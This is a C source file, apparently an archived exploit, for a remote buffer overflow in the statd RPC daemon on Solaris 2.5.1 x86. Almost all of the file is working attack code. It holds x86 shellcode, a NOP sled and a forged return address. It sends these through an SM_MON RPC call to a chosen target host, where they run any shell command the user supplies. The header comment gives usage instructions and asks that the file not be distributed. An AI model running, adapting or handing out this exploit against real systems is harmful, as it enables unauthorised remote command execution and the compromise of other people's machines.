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statdx86.c
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C/C++ Source or Header
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2005-02-12
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3KB
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108 lines
/*
statd remote overflow, solaris 2.5.1 x86
there is a patch for statd in solaris 2.5, well, it looks like
they check only for '/' characters and they left overflow there ..
nah, it's solaris
usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah"
# remember that statd is standalone daemon
Please do not distribute.
*/
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>
#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;
/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};
char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0
1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
char nop[]="\x90";
char code[4096];
void usage(char *s)
{
printf("Usage: %s host [cmd]\n", s);
exit(0);
}
main(int argc, char *argv[])
{
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct mon monreq;
struct sm_stat_res monres;
struct hostent *hp;
struct sockaddr_in target;
int sd, i, noplen=strlen(nop);
char *ptr=code;
if (argc < 2)
usage(argv[0]);
if (argc == 3)
cmd[2]=argv[2];
for (i=0; i< sizeof(code); i++)
*ptr++=nop[i % noplen];
strcpy(&code[750], asmcode); /* XXX temp. */
ptr=code+strlen(code);
for (i=0; i<=strlen(cmd[0]); i++)
*ptr++=cmd[0][i]-1;
for (i=0; i<=strlen(cmd[1]); i++)
*ptr++=cmd[1][i]-1;
for (i=0; i<=strlen(cmd[2]); i++)
*ptr++=cmd[2][i]-1;
ptr=code+BUFSIZE-(ADDRS<<2);
for (i=0; i<ADDRS; i++, ptr+=4)
*(int *)ptr=ADDRP;
*ptr=0;
printf("strlen = %d\n", strlen(code));
memset(&monreq, 0, sizeof(monreq));
monreq.mon_id.my_id.my_name="localhost";
monreq.mon_id.my_id.my_prog=0;
monreq.mon_id.my_id.my_vers=0;
monreq.mon_id.my_id.my_proc=0;
monreq.mon_id.mon_name=code;
if ((hp=gethostbyname(argv[1])) == NULL)
{
printf("Can't resolve %s\n", argv[1]);
exit(0);
}
target.sin_family=AF_INET;
target.sin_addr.s_addr=*(u_long *)hp->h_addr;
target.sin_port=0; /* ask portmap */
sd=RPC_ANYSOCK;
tm.tv_sec=10;
tm.tv_usec=0;
if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL)
{
clnt_pcreateerror("clnt_create");
exit(0);
}
stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
(char *)&monres, tm);
if (stat != RPC_SUCCESS)
clnt_perror(cl, "clnt_call");
else
printf("stat_res = %d.\n", monres.res_stat);
clnt_destroy(cl);
}
/* www.hack.co.za [2000]*/